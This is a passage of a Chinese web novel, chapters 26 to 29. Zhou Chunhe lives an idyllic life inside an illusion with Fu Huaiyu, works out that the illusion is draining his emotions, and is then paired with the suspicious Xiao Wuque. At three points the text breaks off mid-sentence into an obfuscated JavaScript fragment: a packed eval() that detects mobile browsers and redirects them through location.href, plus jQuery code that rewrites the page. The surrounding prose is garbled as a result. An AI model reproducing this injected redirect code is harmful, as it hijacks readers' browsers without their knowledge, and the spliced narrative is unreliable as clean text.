周春和估摸着这个幻境不会像是上个幻境那般展示之前的事情,也就不抱什么了解傅怀玉前尘旧事的希望了。她叫上傅怀玉,两个人齐心协力将这房子简单的收拾了一下,又将破损的窗户重新钉好,乍一看上去,这房子确实像个样子了。 周春和道:“这样便差不多了,就是今晚还出不去的话,那咱们还可以在这里将就一晚,不至于连个睡觉的地方都没有。” 傅怀玉含笑点了点头。 将休息之处安顿好之后,周春和才觉得了了自己心头的一桩大事。 外面的林子里东西颇丰,为了不饿肚子,周春和随手拿了房间里面的一个篮子和傅怀玉一起去了林子里面,准备从里面找点东西中午吃。 外面有好几棵果树,苹果和梨颗颗饱满,还有这个季节所没有的橘子,龙眼荔枝什么的不属于北方的水果也能在这里找到。 这幻境里面为数不多的好处大概就是可以同时吃到不同地方不同时间段的水果了吧。 周春和一口气摘了半筐的橘子,又在傅怀玉的帮助下摘了许多龙眼和荔枝。离开的时候,周春和还颇有种“满载而归”的自豪感。 不过光吃果子似乎太单调了些,周春和将果子洗干净晾到桌子上之后,就又去附近溜达了一圈。 没想到还真叫她发现了好东西——离屋子不远的地方有几只颇为肥硕的野鸡正咕咕叫着找野草吃。 周春和眼睛一亮,蹑手蹑脚的躲在草丛里,一点点挪动着靠近野鸡。好在那些野鸡一直没有察觉,周春和瞅准时机一下子从草丛里窜出来,一手逮住一只肥鸡便往回走。 那两只野鸡扑腾着想挣脱,但周春和怎么可能会让到嘴的野鸡飞了,一路牢牢的拿着野鸡往小木屋赶。 屋外傅怀玉正若有所思的看着院前的几株野草,周春和欣喜的把野鸡往前一送,语气里掩饰不住的开心:“傅怀玉,我在那边发现了几只野鸡。快,你看看能不能吃?” 傅怀玉手上还沾着泥,一段袖子被随意往上折了折,露出一段白玉似的皓腕。那双修长漂亮的手指此刻沾染上了泥巴,周春和一开始光顾着开心了,这时候才后知后觉的注意到傅怀玉现在这副模样。 这是周春和之前连想都想象不到的画面。 她一向觉得像傅怀玉这样的人根本不可能出现这种模样——搬个小板凳规规矩矩的坐在几株野草前面,手里还拿着一跟野草,一身白衣依旧飘飘然,但是手指上却有污泥…… 在周春和的印象里面,不,应该说是以周春和的想法,傅怀玉应该一直端坐在高堂之上,不沾染世俗,不沾染风霜,更别提这些灰尘了。他就应该永远高高在上,永远接受他人的景仰才对。 这样的人,就适合被供起来,而不是跌落凡尘。 可现在傅怀玉这副模样就好像是那天仙落入凡尘……不过不得不说,其实傅怀玉这个样子好像也一点都不违和。或许是他从容恬淡的气质让人觉得毫不突兀,就连周春和自己都不好意思大惊小怪什么了。 甚至有那么一两个瞬间,周春和模模糊糊的想,或许傅怀玉更适合做一个普通人呢。 26. 白庄 傅怀玉用那双带泥点的手接过那两只肥鸡,仔细看了看,便笑道:“这鸡就是寻常野鸡,自然是可以吃的,一会我去收拾一下,中午便吃□□。” 周春和点点头,盯着傅怀玉看了一会儿,还是没忍住,问道:“你这是在做什么?” 傅怀玉用干净的手背擦了擦脸侧,笑道:“我瞧着这里不仅有杂草,还有很多菜,便看看有没有能吃的,这样接下来便不必只靠果子生活了。” 周春和点了点头,又盯着傅怀玉看了一会儿,最后若无其事的收回目光:“我刚刚还在附近看见了蘑菇,正好你在这里弄菜,我去看看有没有能吃的蘑菇,中午拿来炖小鸡。” 傅怀玉温和一笑:“去吧,路上小心。” 周春和便一步三回头的离开了。 她来到刚刚看见蘑菇的地方,仔细辨认了一下,揪了几个肯定没毒的蘑菇,但是揪着揪着,就发现这一大片蘑菇都不像是有毒的样子,于是到最后干脆也不仔细看了,拎着竹筐酷酷摘,摘了满满一筐子才罢休。 周春和摘完蘑菇回来,傅怀玉也已经挑了好几把可以吃的菜出来洗干净了。 周春和凑过去看了看,有她爱吃的油菜,还有绿油油的生菜和秋葵。傅怀玉道:“我刚刚去灶房看了看,里面的东西一应俱全,不过是太久没用都落了灰。一会儿我去做菜,你可以在附近逛逛,看看还有没有什么别的东西。” 顿了顿,又笑:“除了小鸡炖蘑菇,还有什么别的想吃的吗?” 周春和看了一眼桌上的菜,略一思索便脱口而出:“再做一个炒油菜,生菜和秋葵你看着做,我不挑食。” 其实是她也想不出来这两个做什么菜好吃。 傅怀玉也没追问,只嘱咐她别走太远,一会菜做好了叫她。 周春和应了声,知道自己在这里也是碍事,便慢慢踱步来到了小屋后面。 边走边想,这傅怀玉和她想的当真是不同,她原以为从小受尽磨难的谢斯年会劈柴做饭,而温润如玉的傅怀玉则应该远庖厨,但谁知道现实和她想的完全相反。 现实是谢斯年连劈柴都不会,而傅怀玉甚至能游刃有余的让她自己点菜。 当真是人不可相貌海水不可斗量。 周春和踢了不知道第几个脚下的石子,心里慢慢浮现上来一丝疑惑。按照傅怀玉的说法,这幻境存在的意义就是尽可能的激发人的情感,好让那镇纸怪能吸收足够多的能量。所以上一个和谢斯年在一起所看见的那个幻境就解释的通了,之所以幻境中展示的是谢斯年的经历,其实并不是为了让周春和知道,而是为了激发谢斯年的情绪。 虽然谢斯年极力保持镇定,但周春和能感觉到他内心肯定受到了触动。并且还是不小的触动。 甚至连作为旁观者的周春和都受到了影响,那亲身经历这一切的人如今再回头看这些怎么可能没用任何情绪波动。 按照这个思路,他们每两人一队,每次经历的应该都是其中一个人甚至是两个人难以释怀的东西,周春和和谢斯年一组时,经历的是谢斯年的曾经。现在她和傅怀玉一组,看样子所经历的也是和傅怀玉有关的东西。 可是从进来到现在,周春和还没有看到任何有用的东西。 除了一开始的虚无之外,就是现在的“田园”生活,他们过的太惬意了些,和上一轮的腥风血雨简直不是一个画风。 这到底是怎么回事? 周春和也忍不住犯嘀咕,都说事出反常必有妖,周春和怀疑这破幻境在给她憋一个大的。 眼下越是风平浪静,周春和心里就越没底。 她忍不住在心里骂娘,这副本过的可真是,再这样下去周春和本来就不多的头发就要全愁掉了,还怎么让傅怀玉兑现诺言给她做护头发的膏药? 她边走边想,回过神的时候,就发现自己眼前出现了一条清澈见底的小溪。 这就是今天早上她看见的那条,离小木屋不算远,他们洗水果接水也都在这条小河这边。 周春和无意识的捡了一块石头想在小溪里打水漂,可是石头还没扔出去,周春和忽然看见几尾白花花的鱼在溪水里嬉戏。 周春和眼睛一亮,刚刚想的乱七八糟的东西一下子没影了,脑子里就只剩下红烧鱼的做法。 她咽了口唾沫,很想现在就将此鱼就地正法,但是苦于手里没用趁手的工具,所以就没有贸然下手。她在溪边坐了一会儿,最后唉声叹气的败兴而归。 好在傅怀玉做好了饭,周春和还没进家门就闻见了香味,那点望“鱼”兴叹的失望登时就被抛诸脑后了。她欢天喜地的搬好小凳子坐下,等傅怀玉洗了手也坐下了,她才拿筷子夹菜。 周春和嘴甜会夸人,而且毫不吝惜赞美之词。恰好这桌上的菜色香味俱全,周春和吃了两口便双眼含泪,一副被美食击中的样子,真心实意的夸赞起来:“好美味……是旁边吃死一个人都察觉不到的美味程度……” 傅怀玉习惯了周春和嘴里时常蹦出来的惊人之语,但还是忍不住眉眼弯弯:“若是觉得好吃就多吃些,周姑娘看着有些羸弱,要多吃点东西长长肉。” 周春和忙着往嘴里塞东西,也不知道有没有听清楚便胡乱点头,心里还不住的想,若是早知道傅怀玉有这手艺,之前就不让阿姐裴哥哥他们做饭了。 嗯……只能说他们江湖中人,不求做的好吃,只求吃下去毒不死人就行,那味道真是,没法形容,和傅怀玉做的完全没法比。 两个人吃完了饭,傅怀玉收拾碗筷,周春和就忙着去外面找合适的树枝捕鱼。 等傅怀玉洗好碗,周春和也找到了两只趁手的树枝,她带着傅怀玉来到了溪边,然后将衣袖裤腿全部往上折了折,光着脚踏进了水中。 傅怀玉就出竹篮子浸在水里,他一抬头,就看见周春和已经张牙舞爪的拿着木棍来到了溪水正中央。 幸好这溪水不宽也不深,周春和来到最深处也只堪堪没过了她的膝盖,傅怀玉便提醒她小心溪中的鹅卵石滑脚。周春和说是捕鱼,其实就是想找个由头玩水。 她自小长在北方,能玩水的机会不多,此刻抓住机会,自然是得玩得尽兴才行。 傅怀玉在后面叮嘱了好几声,周春和左耳朵进右耳朵出,嘴里答应的倒是挺好,但其实一点也没听进去。 她高高举着树枝,狠狠往下一插,傅怀玉没下水,在竹筐便屏息凝视,就见周春和如临大敌般紧盯着树枝插下去的位置。 两秒后,周春和忽然爆发出一阵银铃般的欢快笑声。 她举起手里的树杈,树枝的尾端插着一条活蹦乱跳的肥鱼。 周春和举着自己战利品,恨不得让全天下的人都知道。傅怀玉一开始还一愣,见周春和真的插上来一条鱼,虽然意料之外,但还是松了口气,露出一个笑。 周春和双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576632|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手握着树枝,那条鱼劲儿大,她得牢牢抓着树枝才能防止那挣扎扑腾的鱼掉下来。 她回过头,笑的八颗牙齿都露了出来,身上被溪水溅湿了很多,看起来毫无形象,但那笑容又很有感染力,让人难以移开视线。 她站在溪水中间,举着活蹦乱跳的鱼,回过头笑意盎然的看他,用一种比鱼还要活泼轻快的声音朝他大喊:“傅怀玉,我抓到鱼啦!你快看这鱼多大,是不是比我的胳膊都长?哈哈哈哈哈哈哈哈哈,我是不是很厉害?” 女孩的背后铺满了金色光斑,树林在她身后,清澈见底的小溪在她的脚下。而她带着明媚的笑意,站在离傅怀玉不远的地方和傅怀玉分享在这一刻只有他们两人知道的喜悦。 傅怀玉不知道自己那一刻的表情,但一定是带着笑容。他听见自己的声音,在无数虚情假意中最真诚的声音:“是。” 你确实很厉害。 傅怀玉眸中带笑,在心里补充道。 只是你不知道你自己很厉害,甚至不知道,你是第一个真正触动我的人。 女孩犹自欣赏自己的战利品,她的裤腿虽然往上折了很多,但依然被水打湿了大片。不过周春和毫不在意,她脸上也被溅上了水,一双眼睛水汪汪的,比溪水还要清澈。傅怀玉远远的看着这一幅画面,心里说不尽的恬静。 这是他过去无数次幻想过的画面,两个人,一间木屋,一条小溪,一片林子。 这是他梦寐以求的画面,也是他无比渴望的生活。 但是周春和是第一个将这些画面具象的人。 在此之前,傅怀玉甚至没想过真的会有人实现这一切。 这个画面——这个只持续了短短一刹那的画面却像是一把利刃击中了傅怀玉的心。 周春和甚至不必做什么,只做了她原本就会做的事,就这么轻易的俘获了傅怀玉的心。 甚至没有什么特别的事情发生,就在这样一个看着普普通通的午后,这样一个普普通通的地方,傅怀玉第一次感觉到了心脏快速跳动的感觉。 感情竟是这样妙不可言。 这是周春和捉上来的人生中的第一条鱼,所以她格外喜欢。摆弄了一阵之后新鲜感也就过去了。她将鱼扔进了傅怀玉扶着的笼子里面,又兴致勃勃的准备叉第二条。 不知道是不是有好运加持,周春和一连顺利的叉了五六条上来,各个都肥美活泼,够他们吃好久了。 再叉下去就没地方放了,毕竟这里既没有冰箱也没有冰柜,放在外面很容易腐烂,得不偿失。周春和玩了这么一会儿,新鲜感也差不多过去了,也没剩多少力气,于是便决定打道回府,先享用一下胜利的果实。 不过这溪水冰冰凉凉的倒是十分舒服,周春和走之前依依不舍的又泼了会水,然后才和傅怀玉一起拿上装鱼的筐子一起离开了。 在路上周春和依然改不掉叽叽喳喳的老毛病,和傅怀玉绘声绘色的描述自己刚刚叉鱼的详细经过,傅怀玉只一直带着笑意安静的听她说话。周春和一个人就能说上老半天,傅怀玉只需要偶然点一下头证明自己在听就行了。 只是听着听着,傅怀玉头一次走了神。 他从前虽然对渴望的生活方式有初步的构想,但其实对于“一生一世双人”并没有确切的概念,只是一团模糊的黑影。可是现在,那团黑影仿佛有了变化。 它慢慢的,变成了周春和的模样。 27. 白庄 安逸的日子过了几天,周春和终于有些受不了了。这几日在幻境中过的不可谓是不快活,每日大鱼大肉,渴了有清澈见底的溪水喝,吃倦了鱼肉有水果和当季蔬菜……而且周春和发现,不管是她想做什么在幻境里都能轻易的实现。 比方说她想抓鱼,一开始以为肯定很难抓到,可是真的尝试了之后才发现,不管她什么时候去抓鱼,去小溪哪里抓鱼,最后都能满载而归。而且抓到的那鱼各个又肥又大,扑腾活泼。 又比如她总是能“不经意”间抓到一些野味,有时是野鸭野鸡,有时还能抓到野兔子。不过周春和不吃兔子,就干脆当作宠物养了起来。 那屋外的野菜也恰好都是能吃的,甚至就连一些平日里不常见的菜也都能在屋外找到,就好像这地方是个能定期刷新物资的特定场所。 一开始周春和有很多东西都没见过,所以被喜悦冲昏了头脑,很多东西根本没有细究。等最初的新鲜感过去,她心底才隐隐约约的有种不对劲的感觉。 这一切似乎太过于顺利了些,自从他们进到这幻境以来,不仅油皮没破一点,就连血腥的画面没见过多少,反倒是一直在过这种要什么有什么的梦中田园生活。 如果是想拿这种鲁滨逊和星期五的野外日子考验他们,那这也太轻松了些,简直是氪金版的鲁滨逊漂流记。 这安稳日子出现的太不是时候了,如果是在平常,那周春和只会好好享受,可出现在这幻境里面……周春和只觉得有什么东西在后面等着自己。 而且更糟的是,傅怀玉看起来对此似乎一无所知。 在周春和之前的印象里,虽然傅怀玉看着十分温柔,与暴力血腥什么的根本不搭边,但并不是个愚笨的人,正相反,他给周春和的感觉一直都是工于心计那一卦的。 虽然他所表现出来的和常人无异,但周春和的直觉告诉她,傅怀玉这么做只是在藏拙,至于为什么要藏拙,这周春和一时半会儿的就不知道了。 傅怀玉心机深沉,就连周春和都能看出来的问题,若是在平时他不可能看不出来,更何况这幻境做的无比粗糙和明显,简直就要把“心想事成”这四个大字刻在他们眼前了。 可傅怀玉好像对此一无所知。 周春和一开始不相信傅怀玉连这种小把戏都看不出来,还以为他这是故意装不知道混淆视听,心里还暗暗佩服傅怀玉高瞻远瞩,并在心里谴责了一番性急的自己。可是耐心的等了两三天之后,周春和才后知后觉的发现傅怀玉并不是在混淆视听,他是真的没发现这幻境的古怪之处。 他好像是,完全沉浸在幻境之中,甚至有时候周春和都怀疑他还能不能分清幻境和现实。 这实在是太奇怪了,比这幻境本身还要奇怪。 周春和心里疑窦丛生,终于忍不住去问傅怀玉:“傅怀玉……你难道没觉得这幻境有什么古怪的地方吗?” 傅怀玉正坐在桌边帮周春和补她的小篮子,闻言依然温和的抬头看她,思索两秒,笑道:“并没有,怎么了?” 傅怀玉语气诚恳,和平日里没什么区别,不像是在作伪。就好像他此刻是真觉得这幻境没什么问题。 周春和心中的古怪感越来越深,眉头也忍不住越蹙越紧:“你难道不觉得……我们进入这幻境之后,不管是做什么都变得特别容易和轻松了么?” 她给傅怀玉举例子,将自己的疑惑一股脑的说了出来,可傅怀玉不为所动,甚至连表情都没变。他温柔的看着周春和,眉梢都带着笑意:“或许是因为你的出现给我们带来了好运,所以这一切这才这么轻松。别多想了,这里并没有妖气,想来不会有什么不对劲的。” 周春和有些烦躁的抓了抓头发,觉得傅怀玉这样子实在是太不对劲了,就像是被什么蛊惑了一样。她迫切的想说什么让傅怀玉察觉到这幻境的古怪,想了想,想到了一件事情,忽然灵光一现:“傅怀玉,你之前不是和我说这幻境是为了吸食人的情绪么?可咱们这幻境从头到尾都没有出现过什么不对劲的,你说是不是……” 周春和的双眼微微睁大,心里顺着这个念头想下去,忽然浑身发冷:“是不是其实这幻境从头到尾都在吸食我们的情绪,只是我们不知道……?” 这个念头一出来,立刻如同打开了一个幽深的恐怖盒子,更多猜测争先恐后的往周春和脑子里钻。 是了,因为上一个幻境的影响,周春和一个留下了一个幻境想要吸食人的情绪必须要轰轰烈烈的印象,所以她下意识的觉得只有感天动地的情节才能打动人心。可是仔细想想,有时候细水长流的生活同样能在细微之处让人动容……傅怀玉不正是一个最好的例子么? 他之所以不觉得有古怪,是因为他本身就已经沉浸在其中,幻境在不知不觉中就已经开始吸食他的情绪……而周春和所受影响不多,是因为对这种田园生活并没有多么大的执念,所以即使是过上了这种想要什么就有什么的日子,也不会觉得十分着迷。 这样看来,那镇纸怪针对不同的人还采取了不同的方式,谢斯年经历了无数的困苦日子,自然不会被安逸的生活轻易打动,反而是越温馨的场景越会让他怀疑,所以干脆弄了一个他过往的受难集。而傅怀玉呢,则将他最渴望的生活方式展现在他们面前,让他亲自感受这种生活,自然就会让他不自觉的沉浸其中。 真真是狡诈! 回过神来的周春和忍不住在心里破口大骂,亏她一开始还以为那怪物转了性子,原来是在这儿等着她呢! 周春和狠狠呸了一口,心说出去我不打爆你的头老子跟你姓。 她扯了一把傅怀玉的袖子,略显焦急的催促他,语速很快:“别弄这破篮子了,我和你说,这事不对劲,咱们肯定是中招了!” 她三言两语将自己的猜测解释清楚,说完之后,傅怀玉没说话,只是定定地看着她。 两秒后,傅怀玉忽然移开了目光,他眸子里带上了一种无可奈何的笑,用一种无奈的口吻微微叹息:“还是不行啊。” 周春和一愣,不明白傅怀玉在说什么:“什么不行?” 傅怀玉看了她两秒,这次眼底终于带上了诚挚的笑意:“没什么,方才你说的那些话在理,我只是在想我们应该怎么离开这幻境。” 傅怀玉似乎一瞬间就从那幻境中挣脱出来,迅速的让周春和都愣在原地。 她有那么一瞬间都分不清之前傅怀玉到底是不是真的沉浸其中,怀疑之前傅怀玉的表现不过是为了让镇纸怪放松警惕的障眼法。他的眼睛是前所未有的清明,就好像是……之前是心甘情愿的沉入里面,现在需要及时抽身,他又能立刻从幻境里面回神。 这到底是怎么一回事儿?傅怀玉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576633|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态度让周春和捉摸不定,她心中腾的升起怀疑的想法。 傅怀玉站起身,将篮子推离了自己的视线。他看着周春和,笑道:“这幻境确实容易让人沉溺,若不是姑娘提醒,我怕是很难从幻境里面抽身。” 周春和嘴上没说什么,心里却道,你看着一点也不像是“很难”的样子。 傅怀玉又道:“这幻境洞察人心的工夫确实厉害,能将渴望之事如此分毫毕现的展示出来……” 周春和愣了愣,奇道:“这就是你渴望之事么?在这样一个简陋的地方过这般……咳,质朴的生活?” 周春和甚至都找不到合适的形容词。 这地方虽说要山有山要水有水,但毕竟这种生活随处可见,在这个世界里面,当普通百姓是最简单不过的事情,当猎妖人才是所有人的心之所向。傅怀玉想要这种生活,随时都可以去实现,为什么还要这般渴望? 甚至渴望到就算是是幻境里面过一过这样的生活也会让他轻易的沉溺进去。 这太奇怪了。 既然想要,为什么不去做呢?更何况这件事对他来说易如反掌。 傅怀玉自己似乎也找不到答案,他低着头,温声道:“是啊,最普通不过的生活,对我来说反倒难如登天。” 他摇了摇头,周春和还要追问,但周围的场景忽然开始分崩离析。 周春和心下了然,这个幻境就要崩塌了。 因为经历过好几次,所以她也能泰然处之。 傅怀玉若有所思的说:“看来只要能察觉到这幻境夺人情绪的方式,幻境便能被破坏掉。” 周春和点了点头。他们已然知道了眼下看似温馨的生活不过是吸取傅怀玉情绪的手段,于是两个人都从沉溺之中回过神,当然也不会再被这幻境左右情绪。镇纸怪见这个幻境已经奈何不了他们,自然也就不会再继续浪费时间。 不过这几日下来,周春和虽然没有太大的情绪波动,傅怀玉可就不一定了。 周春和略有些担心的看向傅怀玉,却见对方像是陷入了沉思之中,眉眼依然温和,只是脸上的笑意不显。 周春和叹了口气,只在心里默默祈祷傅怀玉可别受太大的影响就好。 要不然到时候揍镇纸怪的时候,还能有多一份的助力。 傅怀玉对周春和的心理活动一无所知,他正在回想刚刚的幻境。 他其实一早就察觉到幻境有问题了,但那幻境实在是太过于美好,美好到让他明知是陷阱,也依然心甘情愿的往下跳。他在幻境中呆的日子越久,沉溺的就越深。到后来,他几乎是在想,要不然就这样吧。 就这样一辈子呆在幻境之中也没什么不好。 只要这一切能一直保持这样一个状态。 可是美好的希望最后总是要落空,女孩比他想象中还要早的发现了不对劲。在女孩和他说出自己的怀疑的那一瞬间,他想的甚至是要么就将女孩绑在他身边吧,反正他有无数的办法可以这么做。 可最后他还是放弃了,那短短的一瞬间里,没人知道他内心的想法。没人知道隐藏在皮囊之下的,他真实的模样。 幸好周春和也不知道。 面对女孩的疑惑,他只是叹息了一声,还是不行啊。 还是不能得偿所愿啊。 好在他对此早已习惯。 28. 白庄 幻境崩塌之后,原本周春和以为会来到下一个新的幻境,可是周围的场景一变再变,像是始终没有确定下来到底该用哪种方式。 周春和耐心的等了一会儿,没等出个所以然来,她百无聊赖的回过头,想逗一下傅怀玉打发时间。可是回过头才发现身后的傅怀玉消失不见了。 周春和没有惊慌,甚至连眉头都没皱一下。 周春和早已见怪不怪,知道这又是到了“换队友”的时间。 她掰着手指头算了一下,她已经和傅怀玉单独搭档过,也和谢斯年搭档过,那现在就只剩下阿姐和裴瑾……所以接下来她会和谁搭档呢? 周春和希望是周夏莲,因为她对裴瑾有一种看见拱白菜的猪一样的尴尬感。 身后响起了脚步声,周春和眼神一亮,立刻满怀期待的回头一看,结果却让她大惊失色——来的人既不是周夏莲更不是裴瑾,而是她想都没想过的霄无缺。 见到周春和,霄无缺似乎完全不觉得惊讶,他脚步轻快的来到周春和身旁,一如既往的居高临下模样,气定神闲的问:“怎么,看见我这么惊讶?” 周春和手动合上自己惊掉的下巴,一脸无语:“我不该惊讶么?” 其实也不完全是惊讶,还有破防、不可置信、天哪和他一组我还能活过这个副本吗、这人实力到底怎么样啊谁知道出事的时候能不能挡在我前面好让我开溜、算了还是听天由命等等一系列情绪。 周春和尽量保持平静,心说算了,大不了呼叫那个可能比霄无缺更不靠谱的死系统。 霄无缺来到之后,周春和就发现这幻境像是被人按下了暂停键一样不动了。 她奇道,按照惯例谁跟她一组谁就要倒霉。但是霄无缺和她一组之后,不知道为什么那种“这个人即将倒霉”奇怪氛围就消失不见了。而周春和后背发凉,罕见的有种自己即将倒霉的感觉。 霄无缺走近周春和,周春和下意识的往后退,边退边警惕的问:“你想干嘛?霸王硬上弓?” 这可是她准备给谢斯年和傅怀玉使的手段。 霄无缺嗤笑一声,果然停下脚步了。他仔细打量了周春和一下,不知道为什么,那目光有种打量将死之人的感觉,看的周春和毛骨悚然:“没什么,只是想看看你脸皮到底有多厚。” 周春和:“……?” 这合理吗? 周春和皮笑肉不笑:“哦。反正没你的皮厚。”一把推开霄无缺。 两个人打嘴仗的时候,周围依然没什么变化。周春和有些犯嘀咕,这幻境怎么回事,怎么忽然不动了? 霄无缺在一边饶有兴致的看着周春和的表情,他问:“和傅怀玉在一起可曾看见什么?” 周春和不明白霄无缺问这句话的意思,眼睛一转,留了个心眼:“自然是看见了。” 霄无缺果然追问道:“什么?” 周春和一脸正经:“看见你——” 霄无缺双眼微微睁大,似乎意料之外。 周春和继续道:“裤子一样颜色的帐子了。” 霄无缺:“……?”他下意识看了一眼自己裤子,嗯,是白色的。 ?不对啊,他为什么要看自己的裤子是什么颜色? 随即反应过来周春和在捉弄他,立刻面色不善的抬眼看向周春和。 周春和吹了声口哨,面不改色:“怎么,有什么不对吗?” 霄无缺恨恨的瞥了她一眼,又立刻扭开视线,声音像是从牙缝里挤出来的:“哼。” 周春和心里为捉弄到了霄无缺而觉得分外开心,不过脸上却不敢过分的表现出来,毕竟将来在幻境里她说不定还要指望这人呢,自然不敢把人得罪的太狠。 周春和有来有往的问道:“上一轮你和谁一组?” 霄无缺道:“谢斯年。” 周春和点了点头,霄无缺还以为她会追问详细的内容,这样他也能顺着套出不少细节,但却没想到周春和对这些事情其实一点也不感兴趣。 她现在感兴趣的,只有什么时候打完这个副本,好让她能好好放松一下。 霄无缺见周春和根本没有开口的意思,干脆自己主动追问周春和些细节,虽然周春和不明白霄无缺为什么对这些这么感兴趣,但隐约觉得不该将这些事情透露给霄无缺。她留了个心眼子,没说实情,三言两语把霄无缺打发了。 察觉到周春和的敷衍,霄无缺倒是没锲而不舍的追问,只是颇有闲情逸致的靠在一边打量周春和。 周春和被他看的浑身不自在,没忍住质问:“你怎么一直这么不怀好意的看我?你到底想干什么?” 周春和本以为霄无缺会像刚刚那样混过去,可谁知他倒是出奇的诚实:“我是在想,最能让你情绪外露的事情是什么呢?” 没等周春和深入理解霄无缺这句话的意思,下一秒天旋地转,周春和只觉得眼前一黑又一白,迷迷糊糊间听见了系统在她脑子吱哇乱叫:“宿主宿主宿主宿主宿主……” 周春和:“好吵……谁在攻击我的脑子?” 系统慌张道:“完蛋了宿主,完大蛋了。这轮幻境针对的是你啊!” 周春和迷迷糊糊,还没有完全反应过来:“嗯?” 两秒后,周春和反应过来了:“什么??!” 那怎么办?? 周春和迅速在脑子里过了一下这件事,先问了一个至关重要的问题:“不是,系统你说清楚。这轮幻境针对的到底是现在这个‘我’,还是之前的原身?” 如果是原主还好,不,应该说是太好了。因为现在周春和的搭档是霄无缺,是和他们不认识、而且没有任何关系的霄无缺。周春和既不用攻略他,而且也没必要在他面前伪装自己。所以哪怕是原主那些糟糕的过往在他面前全部展露出来,那对周春和来说也没有任何影响。 大不了到时候一拍两散,霄无缺不过是她人生中一个微不足道的过客。虽然这过客自视甚高,让人相处起来十分不愉快。 但如果是她本人的经历,那这件事就很难搞了。 霄无缺虽然自大了些,但显然不是那种容易糊弄的人。这一轮的幻境是针对周春和的,能让她情绪波动的东西用脚趾头想也肯定和她穿进来之前的生活有关。如果真让他看见了现在这个周春和的生活轨迹,以他的脑子想必也能猜出很多东西。 所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576634|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在周春和寄希望于系统,希望系统能给她一个她想要的回答。最好是系统就可以直接更改剧情,让这一切随着周春和的心意发展。 只可惜系统也和她一样迷糊:“我也不知道啊。” 周春和:“?” 周春和扶额苦笑:“系统,这对吗?” 系统道:“不过!你不用担心。这部分剧情确实超出了预期,这属于我们的过失,和你没有关系。所以为了保护你的任务顺利进行,我会帮助你的。” 周春和闻言眼睛一亮,脸上的愁容一扫而空:“怎么帮?” 系统道:“我研究了一下宿主你现在的情况,若幻境中是你本人的经历的话,那你的攻略计划算是完蛋了,霄无缺肯定会看出什么来。所以为了保证你的真实身份不被任何人发现,我决定用自己的权限帮你跳过这部分剧情。” 周春和:“?你不能在幻境里直接放和原主有关的内容吗?” 系统有些羞赧:“哎哟,人家这不是不知道原主的剧情是什么吗。而且……而且我的权限只有跳过剧情,并不能直接改动剧情啊。现在我也不知道幻境究竟是你的经历还是原身的经历,所以为了保险起见,干脆直接跳过得了。” 周春和:“……?” 不过周春和也没有别的更好的办法了,为了明哲保身只能决定按照系统说的做。 不过她想到了另一件事,觉得也很有必要问一下系统:“对了系统,你刚刚也说剧情发展超出了你的预期,那是不是说明现在发生的这些已经偏移了剧情?” 系统轻快的回答:“没有的宿主,剧情的偏移程度和男女主有关。现在男女主的感情线平稳发展,所以剧情不算偏移。” 听见系统这么说,周春和心里有了计较。既然这样的话,那只要不影响男女主,是不是周春和做什么都无所谓了? 这样的话,其实对她来说更简单了些。 系统说完之后就继续装死,周春和的眩晕感也消散了一点点,她睁开眼睛,看清眼前的场景之后,嘴角扬起一抹笑。 很好,果然如系统所说已经把这个片段跳了过去,而且跳的没有任何卡顿。 周围赫然是一开始换队友的那个场景,若是寻常人经历这些,或许只会以为幻境一动没动,但周春和知道这幻境已经是结束了。 她转头看向身边的霄无缺,本以为霄无缺也会和普通人一样觉得只不过是幻境还没开始,正琢磨着想个什么办法逗逗他,谁知转头就看见了霄无缺少见的皱起了眉。他没有分给周春和一个眼神,表情凝重,那惯常的得意笑容也消失的一干二净:“嗯?这是怎么回事?” 周春和心中狠狠打突——霄无缺这是怎么回事儿?这表情不对,不像是一无所知的样子……难不成他已经猜到了什么? 但是也不对啊,两人都是刚进幻境不久,按理说他不应该这么快就摸清楚幻境的规律了吧?这怎么可能一眼就看出来幻境不对劲? 周春和试探着叫了霄无缺一声:“你这是什么表情,怎么了吗?” 霄无缺像是反应过来什么,忽然回过头看着周春和,脸上的笑意消失的一干二净:“你到底是谁?” 29. 白庄 周春和眼皮重重一跳,心道不好,霄无缺这神情不像是在开玩笑,难不成他真发现了什么? 周春和还没理出个头绪,就听见霄无缺又开了口:“这泊烟香对你没用么?为何这幻境没有出现?” 周春和最后一点侥幸心理也没了,霄无缺确实已经看出来这幻境有问题。只不过他不知道是被跳过去了,只以为是没有出现。 她脑海里瞬间闪过无数的思绪,最后决定用一个万能的招数——装傻充愣。 